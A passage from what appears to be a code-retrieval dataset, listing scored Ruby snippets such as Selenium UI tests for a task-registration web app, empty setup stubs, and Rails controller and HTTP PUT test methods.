\"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n\n # click link setup QAC\n assert is_text_present(\"qac\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link\"]\n # check log in the navigation bar\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "ad21efe30c678e65d5a0eb2a5e13800a", "score": "0.54209787", "text": "def test_connection\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.54209507", "text": "def setup\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.54209507", "text": "def setup\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.54209507", "text": "def setup\n\n end", "title": "" }, { "docid": "0be483b9b38e044aaf87c833a33bc8a8", "score": "0.5408671", "text": "def my_array_sorting_method(source)\n# This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.54060775", "text": "def setup\n \n end", "title": "" }, { "docid": "b58e55328b4201638161c225c3daafc9", "score": "0.54027575", "text": "def drive_using(sut_driver)\r\n \r\n raise \"String - Not be a SUT Driver: Error\" if (sut_driver.class==String.new.class) \r\n raise \"Array - Not be a SUT Driver: Error\" if (sut_driver.class==Array.new.class) \r\n \r\n # Test/verify start state is valid\r\n sut_driver.send(\"test_\" + self.start_state.to_s)\r\n \r\n # Loop through transitions\r\n self.transitions.each do |a_transition|\r\n \r\n # Run each action\r\n sut_driver.send(a_transition.action.to_s)\r\n # Test/verify arrival at resulting state\r\n sut_driver.send(\"test_\" + a_transition.end_state.to_s)\r\n \r\n end # end Loop block\r\n \r\n end", "title": "" }, { "docid": "1d3ffd962c8a31a67b2f7994a7ff2413", "score": "0.5400744", "text": "def process_test_cases\n raise NotImplementedError, 'You must implement this'\n end", "title": "" }, { "docid": "8a8db40e62a35d6319c8c7addd45a24e", "score": "0.5394122", "text": "def test_011\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n #Pu created\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n # test master of PJ is not registered\n assert is_text_present(_(\"Details of an analysis task\"))\n click $xpath[\"task\"][\"main_area_td4\"]\n sleep 2\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n\n click $xpath[\"task\"][\"general_control_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Basic Setting\")) rescue false); sleep 2 }\n sleep 3\n select \"analyze_type\", \"label=#{@individual}\"\n sleep 3\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # click link setup QAC++\n assert is_text_present(\"qacpp\")\n sleep 3\n click $xpath[\"task\"][\"option_setup_link2\"]\n # check log in the navigation bar\n sleep 2\n assert !60.times{ break if (is_text_present(_(\"It returns to the state before a save.\")) rescue false); sleep 2 }\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "ce77f0eaf5ef7d09ad53cb8c770c5089", "score": "0.53828275", "text": "def generate_resource_tests(pwd, data) end", "title": "" }, { "docid": "c9b1abd5151ef33bfebd2ef9d813c839", "score": "0.5381279", "text": "def test_035\n\n login\n\n # Create some PUs\n\n for i in 0..2\n create_pu('sample_pu'+i.to_s)\n end\n\n pus = Pu.find_all_by_name('sample_pu1')\n pu = pus.last\n pu.created_at =\"2009-05-08 11:30:50\"\n pu.save\n pus = Pu.find_all_by_name('sample_pu2')\n pu = pus.last\n pu.created_at =\"2008-05-08 14:30:50\"\n pu.save\n @@year = \"2009\"\n @@hour = \"14\"\n\n # Open PU management page\n open_pu_management_page_1\n\n # Selection for filtering\n assert_equal [_(\"PU name\"), _(\"Registration date\")], get_select_options(\"find_box\")\n\n # Delete created data\n @@pu= Pu.find_by_name('sample_pu1')\n @@pu2= Pu.find_by_name('sample_pu2')\n @@pu.destroy\n @@pu2.destroy\n logout\n\n end", "title": "" }, { "docid": "d5accc4204d2c9f821744e7d9d2c7c9f", "score": "0.53801334", "text": "def test_037\n\n login\n\n #Create some PUs\n\n for i in 0..2\n create_pu('sample_pu'+i.to_s)\n end\n\n pus = Pu.find_all_by_name('sample_pu1')\n pu = pus.last\n pu.created_at =\"2009-05-08 11:30:50\"\n pu.save\n pus = Pu.find_all_by_name('sample_pu2')\n pu = pus.last\n pu.created_at =\"2008-05-08 14:30:50\"\n pu.save\n @@year = \"2009\"\n @@hour = \"14\"\n\n # Open PU management page\n open_pu_management_page_1\n\n # Arbitrary filtering is performed to PU name.\n assert_equal _(\"PU name\"), get_selected_label(\"find_box\")\n\n\n # you have no relevance\n filtering('3')\n assert !is_text_present('sample_pu1')\n assert !is_text_present('sample_pu2')\n assert is_text_present(_('A PU does not exist.'))\n sleep 2\n\n # Delete created data\n @@pu= Pu.find_by_name('sample_pu1')\n @@pu2= Pu.find_by_name('sample_pu2')\n @@pu.destroy\n @@pu2.destroy\n logout\n end", "title": "" }, { "docid": "8fbc98d9068bd9c82033a031286f0a1e", "score": "0.537935", "text": "def tests; end", "title": "" }, { "docid": "8fbc98d9068bd9c82033a031286f0a1e", "score": "0.537935", "text": "def tests; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5364568", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5364568", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5364568", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.5364568", "text": "def specie; end", "title": "" }, { "docid": "9f87e3a6ff17cac5a30a0d71c018f1ec", "score": "0.5359527", "text": "def test_016\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option setup was performed\n\n assert is_checked($xpath[\"task\"][\"master_option_chk2\"])\n\n #uncheck an option setup of a directory.\n click $xpath[\"task\"][\"master_option_chk2\"]\n sleep 3\n\n #Click a directory link\n click $xpath[\"task\"][\"master_option_dir1\"]\n sleep 2\n assert !is_checked($xpath[\"task\"][\"master_option_chk3\"])\n assert !is_checked($xpath[\"task\"][\"master_option_chk4\"])\n\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "b40223103c4af81131f173c51b5a04ca", "score": "0.5359477", "text": "def test_006\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #A task type is changed into \"individual analysis\"\n # with a \"general control\" tab.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析 (Individual Analysis)\n select \"analyze_type\", \"label=#{@individual}\"\n #Click Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n #An option setup of \"master: A qac\" subwindow is displayed.\n click $xpath[\"task\"][\"option_setup_link\"]\n # click \"link=設定する\"\n sleep 3\n # #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n\n assert !60.times{ break if (@selenium.is_text_present(_(\"Optional setting\")+\":qac\") rescue false); sleep 2 }\n sleep 2\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "27728c62eaf633c89fbd3df202a1cc36", "score": "0.53507245", "text": "def checks; end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.53476924", "text": "def setup\n end", "title": "" }, { "docid": "7e23a85200c951455bf512fa898af50e", "score": "0.5332935", "text": "def test_003\n\n # login\n login\n @@pu = 1\n @@pj = 1\n open\"/devgroup/pj_index/#{@@pu}/#{@@pj}\"\n wait_for_page_to_load \"30000\"\n\n # test for individual analysis task\n open(\"/task/index2/#{@@pu}/#{@@pj}\")\n #The contents of a display of a \"master\" tab become\n # a thing for individual analysis task registration.\n click $xpath[\"task\"][\"main_area_td4\"]\n wait_for_page_to_load \"30000\"\n assert is_text_present(_(\"Registration of an Analysis Task\"))\n # select analyze type: 個人解析\n select \"analyze_type\", \"label=#{@individual}\"\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # select uploading method in the master tab\n assert is_text_present(_(\"Select a master\"))\n assert is_text_present(_(\"Master\"))\n assert is_text_present(_(\"Select the upload method of individual analysis files\"))\n assert is_text_present(_(\"Upload of individual analysis files\"))\n\n #Select \"uploading a file individually\"\n click \"file_upload_upload_way_upload_each\"\n assert is_text_present(_(\"Uploaded individually.\"))\n #Click button Read tree\n click $xpath[\"task\"][\"read_tree\"]\n assert !60.times{ break if (is_text_present(_(\"Directory structure\")) rescue false); sleep 2 }\n #It will return, if a check is returned for uploading collectively (F2-003)\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n # logout\n logout\n\n end", "title": "" }, { "docid": "294434928e5031b3d8e618ac63a3d89f", "score": "0.53312385", "text": "def my_array_sorting_method(source)\n # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "84d6c8352f054a0138e2b8798eb54387", "score": "0.53253025", "text": "def my_array_sorting_method(source)\r\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\r\nend", "title": "" }, { "docid": "84d6c8352f054a0138e2b8798eb54387", "score": "0.53253025", "text": "def my_array_sorting_method(source)\r\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\r\nend", "title": "" }, { "docid": "6577a60f63829e74349e7ef9387a67af", "score": "0.5321667", "text": "def setup\n\n end", "title": "" }, { "docid": "6577a60f63829e74349e7ef9387a67af", "score": "0.5321667", "text": "def setup\n\n end", "title": "" }, { "docid": "9032b593933ef1ddf4d78b985edf1fac", "score": "0.53140223", "text": "def setup\n @bigquery = $bigquery\n @prefix = $prefix\n @storage = $storage\n @bucket = $bucket\n @samples_bucket = $samples_bucket\n @samples_public_table = $samples_public_table\n @kms_key = $kms_key\n @kms_key_2 = $kms_key_2\n\n refute_nil @bigquery, \"You do not have an active bigquery to run the tests.\"\n refute_nil @prefix, \"You do not have an bigquery prefix to name the datasets and tables with.\"\n refute_nil @storage, \"You do not have an active storage to run the tests.\"\n refute_nil @bucket, \"You do not have a storage bucket to run the tests.\"\n refute_nil @samples_bucket, \"You do not have a bucket with sample data to run the tests.\"\n refute_nil @samples_public_table, \"You do not have a table with sample data to run the tests.\"\n refute_nil @kms_key, \"You do not have a kms key to run the tests.\"\n refute_nil @kms_key_2, \"You do not have a second kms key to run the tests.\"\n\n super\n end", "title": "" }, { "docid": "04d18d246e7639d0aba123fd90cfb28f", "score": "0.5313924", "text": "def setup\r\n end", "title": "" }, { "docid": "d515b6efdb7ee73009861b2a364ef9a3", "score": "0.53072584", "text": "def test_031\n # login\n login\n\n # Two PUs are created\n Pu.destroy_all\n pu_name_a = 'puA'\n pu_name_b = 'puB'\n create_pu(pu_name_a)\n create_pu(pu_name_b)\n\n\n # Count all records\n pus = Pu.find(:all)\n @@no_pu = pus.length\n\n # Open PU management page\n open_pu_management_page_1\n\n\n for i in 1..@@no_pu\n assert_equal pus[i-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{i}.1\")\n end\n\n # firtly, sort by ID\n pus = Pu.find(:all,:order => 'id')\n\n # click ID link\n click $xpath[\"misc\"][\"id_link\"]\n sleep 2\n\n if pus[0].id.to_s == get_table(\"//div[@id='right_contents']/div[1]/table[2].1.0\")\n pus = Pu.find(:all,:order => 'id')\n pus_second = Pu.find(:all,:order => 'id DESC')\n else\n pus = Pu.find(:all,:order => 'id DESC')\n pus_second = Pu.find(:all,:order => 'id')\n end\n for j in 1..@@no_pu\n assert_equal pus[j-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{j}.1\")\n end\n # Click PU ID\n click $xpath[\"misc\"][\"id_link\"]\n sleep 2\n for k in 1..@@no_pu\n assert_equal pus_second[k-1].name, get_table(\"//div[@id='right_contents']/div[1]/table[2].#{k}.1\")\n end\n\n # Delete created data\n\n @@pu= Pu.find_by_name('puA')\n @@pu2= Pu.find_by_name('puB')\n @@pu.destroy\n @@pu2.destroy\n\n\n # Logout\n logout\n make_original_pus\n end", "title": "" }, { "docid": "29468a8bb21c2ea07ec8f20f54781dc6", "score": "0.5296977", "text": "def test_017\n\n # login\n login\n\n # Open PU management page\n open_pu_management_page_1\n\n #Find a PU\n\n @@pu = Pu.find_by_name('SamplePU1')\n open \"/devgroup/pu_index/#{@@pu.id}\"\n wait_for_page_to_load \"30000\"\n\n sleep 2\n\n #Find a PJ of PU\n open_pj_management_page(@@pu.id)\n\n @@pj = Pj.find_by_name('SamplePJ1')\n open\"/devgroup/pj_index/#{@@pu.id}/#{@@pj.id}\"\n wait_for_page_to_load \"30000\"\n\n #Open \"Registration of analysis task\" page\n open(\"/task/index2/#{@@pu.id}/#{@@pj.id}\")\n #Open master control tab\n click $xpath[\"task\"][\"main_area_td4\"]\n assert !60.times{ break if (is_text_present(_(\"Registration of an Analysis Task\")) rescue false); sleep 2 }\n #Master tab\n click $xpath[\"task\"][\"master_tab\"]\n assert !60.times{ break if (is_text_present(_(\"Select a master\")) rescue false); sleep 2 }\n assert is_text_present(\"qac\")\n sleep 3\n #Click link set of qac\n click $xpath[\"task\"][\"set_qac_link\"]\n\n sleep 3\n #wait for loading page\n wait_for_condition(\"Ajax.Request\",\"30000\")\n #An option is checked\n assert is_checked($xpath[\"task\"][\"master_option_chk2\"])\n #Click a directory link\n click $xpath[\"task\"][\"master_option_dir1\"]\n sleep 2\n #All file of directory is checked.\n\n assert is_checked($xpath[\"task\"][\"master_option_chk3\"])\n assert is_checked($xpath[\"task\"][\"master_option_chk4\"])\n\n\n run_script \"destroy_subwindow()\"\n\n\n # logout\n logout\n\n end", "title": "" }, { "docid": "9dd27e97848b2131b482ee49e0f31169", "score": "0.5291754", "text": "def my_array_sorting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "9dd27e97848b2131b482ee49e0f31169", "score": "0.5291754", "text": "def my_array_sorting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "9dd27e97848b2131b482ee49e0f31169", "score": "0.5291754", "text": "def my_array_sorting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" }, { "docid": "9dd27e97848b2131b482ee49e0f31169", "score": "0.5291754", "text": "def my_array_sorting_method(source)\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\nend", "title": "" } ]
6e3a3533cb674005b3431963550c5e11
PUT /post97s/1 PUT /post97s/1.xml
[ { "docid": "56911e668620ed292dfa89cd907ead24", "score": "0.58872044", "text": "def update\n @post97 = Post97.find(params[:id])\n\n respond_to do |format|\n if @post97.update_attributes(params[:post97])\n format.html { redirect_to(@post97, :notice => 'Post97 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post97.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.68516326", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "23b5f5e4dacfb330cb1e0ffd4590ef63", "score": "0.6479281", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.64029837", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "9ddf960eb3f437e62b9b99d34992bc0f", "score": "0.6382191", "text": "def test_should_update_status_post_via_API_XML\r\n get \"/logout\"\r\n put \"/status_posts/1.xml\", :api_key => 'testapikey',\r\n :status_post => {:body => 'API Status Post 1' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "2db8510634a8588feaf130b0ace4c384", "score": "0.6252696", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :api_key => 'testapikey',\r\n :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "d0fba1bf3c5e1dc0008c27994e1dabe4", "score": "0.6153434", "text": "def test_should_update_blog_post_via_API_XML\r\n get \"/logout\"\r\n put \"/blog_posts/1.xml\", :blog_post => {:title => 'API Test Post',\r\n :body => 'API Test Body',\r\n :published => true,\r\n :featured => false,\r\n :summary => 'Blog Post Summary',\r\n :url => 'http://www.apiblogpost.com',\r\n :guid => '22222' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "238fd956be713471aa406c76bf19254a", "score": "0.6038548", "text": "def test_should_update_status_post_via_API_XML\r\n get \"/logout\"\r\n put \"/status_posts/1.xml\", :status_post => {:body => 'API Status Post 1' }\r\n assert_response 401\r\n end", "title": "" }, { "docid": "1e220620a52e1afb48cb40a1eba7c623", "score": "0.6009024", "text": "def update\n @post145 = Post145.find(params[:id])\n\n respond_to do |format|\n if @post145.update_attributes(params[:post145])\n format.html { redirect_to(@post145, :notice => 'Post145 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post145.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1308e2aec2b24f8d3f1fbc1a120db8f6", "score": "0.598093", "text": "def update\n respond_to do |format|\n if @tag.update_attributes(params[:post])\n format.xml { head :ok }\n else\n format.xml { render :xml => @tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a48b3229e830876ae619b936301400b2", "score": "0.5977867", "text": "def put(url, xml, version = nil)\n req = Net::HTTP::Put.new(url)\n req.content_type = 'application/x-ssds+xml'\n \n if(!version.nil?)\n req['if-match'] = version;\n end\n \n req.content_length = xml.to_s.size.to_s\n req.basic_auth @username, @password\n req.body = xml.to_s\n execute_request(req)\n end", "title": "" }, { "docid": "23013da92a79538a1b6edf4ce5dd5f3d", "score": "0.5957892", "text": "def update\n @post137 = Post137.find(params[:id])\n\n respond_to do |format|\n if @post137.update_attributes(params[:post137])\n format.html { redirect_to(@post137, :notice => 'Post137 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post137.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad54471b285e5e357d9be959c8ade2d8", "score": "0.5954244", "text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end", "title": "" }, { "docid": "6753b4a0ab570111873ddfe2273efba8", "score": "0.5880018", "text": "def update\n @post160 = Post160.find(params[:id])\n\n respond_to do |format|\n if @post160.update_attributes(params[:post160])\n format.html { redirect_to(@post160, :notice => 'Post160 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post160.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "358d775246ac7c71eeafc53ee93f688b", "score": "0.5869243", "text": "def update\n @post83 = Post83.find(params[:id])\n\n respond_to do |format|\n if @post83.update_attributes(params[:post83])\n format.html { redirect_to(@post83, :notice => 'Post83 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post83.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2070e71328a87a64fa5423d02379131", "score": "0.58595294", "text": "def update\n @post167 = Post167.find(params[:id])\n\n respond_to do |format|\n if @post167.update_attributes(params[:post167])\n format.html { redirect_to(@post167, :notice => 'Post167 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post167.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7dcf61d28367255f0ec9cea7ade341de", "score": "0.58358365", "text": "def update(id, name=\"Updated Name\", published=\"false\", genre=\"movie\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <id type='integer'>#{id}</id>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "5a709be54da030e531e9297b7bde699d", "score": "0.5799713", "text": "def check_update_feed\n puts \"\\r\\n\\r\\nUpdate Feed:\"\n uri = URI.parse(\"http://0.0.0.0:8080/feed.json\")\n Net::HTTP.start(uri.host, uri.port) do |http|\n headers = {'Content-Type' => 'application/x-www-form-urlencoded'}\n put_data = \"key=1&uid=1&title=SomethingDifferent\"\n res = http.send_request('PUT', uri.request_uri, put_data, headers) \n puts res.body\n end\nend", "title": "" }, { "docid": "545dadbe32aa3d9d0edf1d22293783fc", "score": "0.57879096", "text": "def test_put_existing\n request = Http::Request.new('PUT', '/file1', {}, 'bar')\n\n response = self.request(request)\n\n assert_equal(204, response.status)\n\n assert_equal(\n 'bar',\n @server.tree.node_for_path('file1').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "fe34536fd5f351320692e00ed18692d2", "score": "0.57678986", "text": "def update\n @post497 = Post497.find(params[:id])\n\n respond_to do |format|\n if @post497.update_attributes(params[:post497])\n format.html { redirect_to(@post497, :notice => 'Post497 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post497.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "713161fe04801b44f5b9cdb91a95fe89", "score": "0.575505", "text": "def test_put\n request = Http::Request.new('PUT', '/file2', {}, 'hello')\n\n response = self.request(request)\n\n assert_equal(201, response.status, \"Incorrect status code received. Full response body: #{response.body_as_string}\")\n\n assert_equal(\n 'hello',\n @server.tree.node_for_path('file2').get\n )\n\n assert_equal(\n {\n 'X-Sabre-Version' => [Version::VERSION],\n 'Content-Length' => ['0'],\n 'ETag' => [\"\\\"#{Digest::MD5.hexdigest('hello')}\\\"\"]\n },\n response.headers\n )\n end", "title": "" }, { "docid": "f162fd0f09d1f1f165db03a378cc454b", "score": "0.5753091", "text": "def update\n @post203 = Post203.find(params[:id])\n\n respond_to do |format|\n if @post203.update_attributes(params[:post203])\n format.html { redirect_to(@post203, :notice => 'Post203 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post203.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30d08ec0a629efc033036e65a30ddf33", "score": "0.5751755", "text": "def update\n @post152 = Post152.find(params[:id])\n\n respond_to do |format|\n if @post152.update_attributes(params[:post152])\n format.html { redirect_to(@post152, :notice => 'Post152 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post152.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8548fe36626fd21f2dbb01165399df4f", "score": "0.57305646", "text": "def update\n @post165 = Post165.find(params[:id])\n\n respond_to do |format|\n if @post165.update_attributes(params[:post165])\n format.html { redirect_to(@post165, :notice => 'Post165 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post165.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a91f803cdfce0e23f40d1545f1bdd14c", "score": "0.5726555", "text": "def update\n @post155 = Post155.find(params[:id])\n\n respond_to do |format|\n if @post155.update_attributes(params[:post155])\n format.html { redirect_to(@post155, :notice => 'Post155 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post155.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d265e943f9668e6005c058cdfbe762c6", "score": "0.57260424", "text": "def put(doc)\r\n res = @server.put(\"/#{@db}/#{doc.id}\", doc.to_s)\r\n xmldoc = REXML::Document.new(res.body)\r\n \r\n xmldoc.elements.each(\"#{Str_Success}/#{Str_Update_Info}\"){|info|\r\n doc.revision = info.attribute(:revid).to_s\r\n } \r\n nil\r\n end", "title": "" }, { "docid": "a6174ef5c57f0350802d9d10f71b4a2e", "score": "0.5723199", "text": "def test_finder_put_success\n request = Http::Request.new(\n 'PUT',\n '/file2',\n { 'X-Expected-Entity-Length' => '5' },\n 'hello'\n )\n response = self.request(request)\n\n assert_equal(201, response.status)\n\n 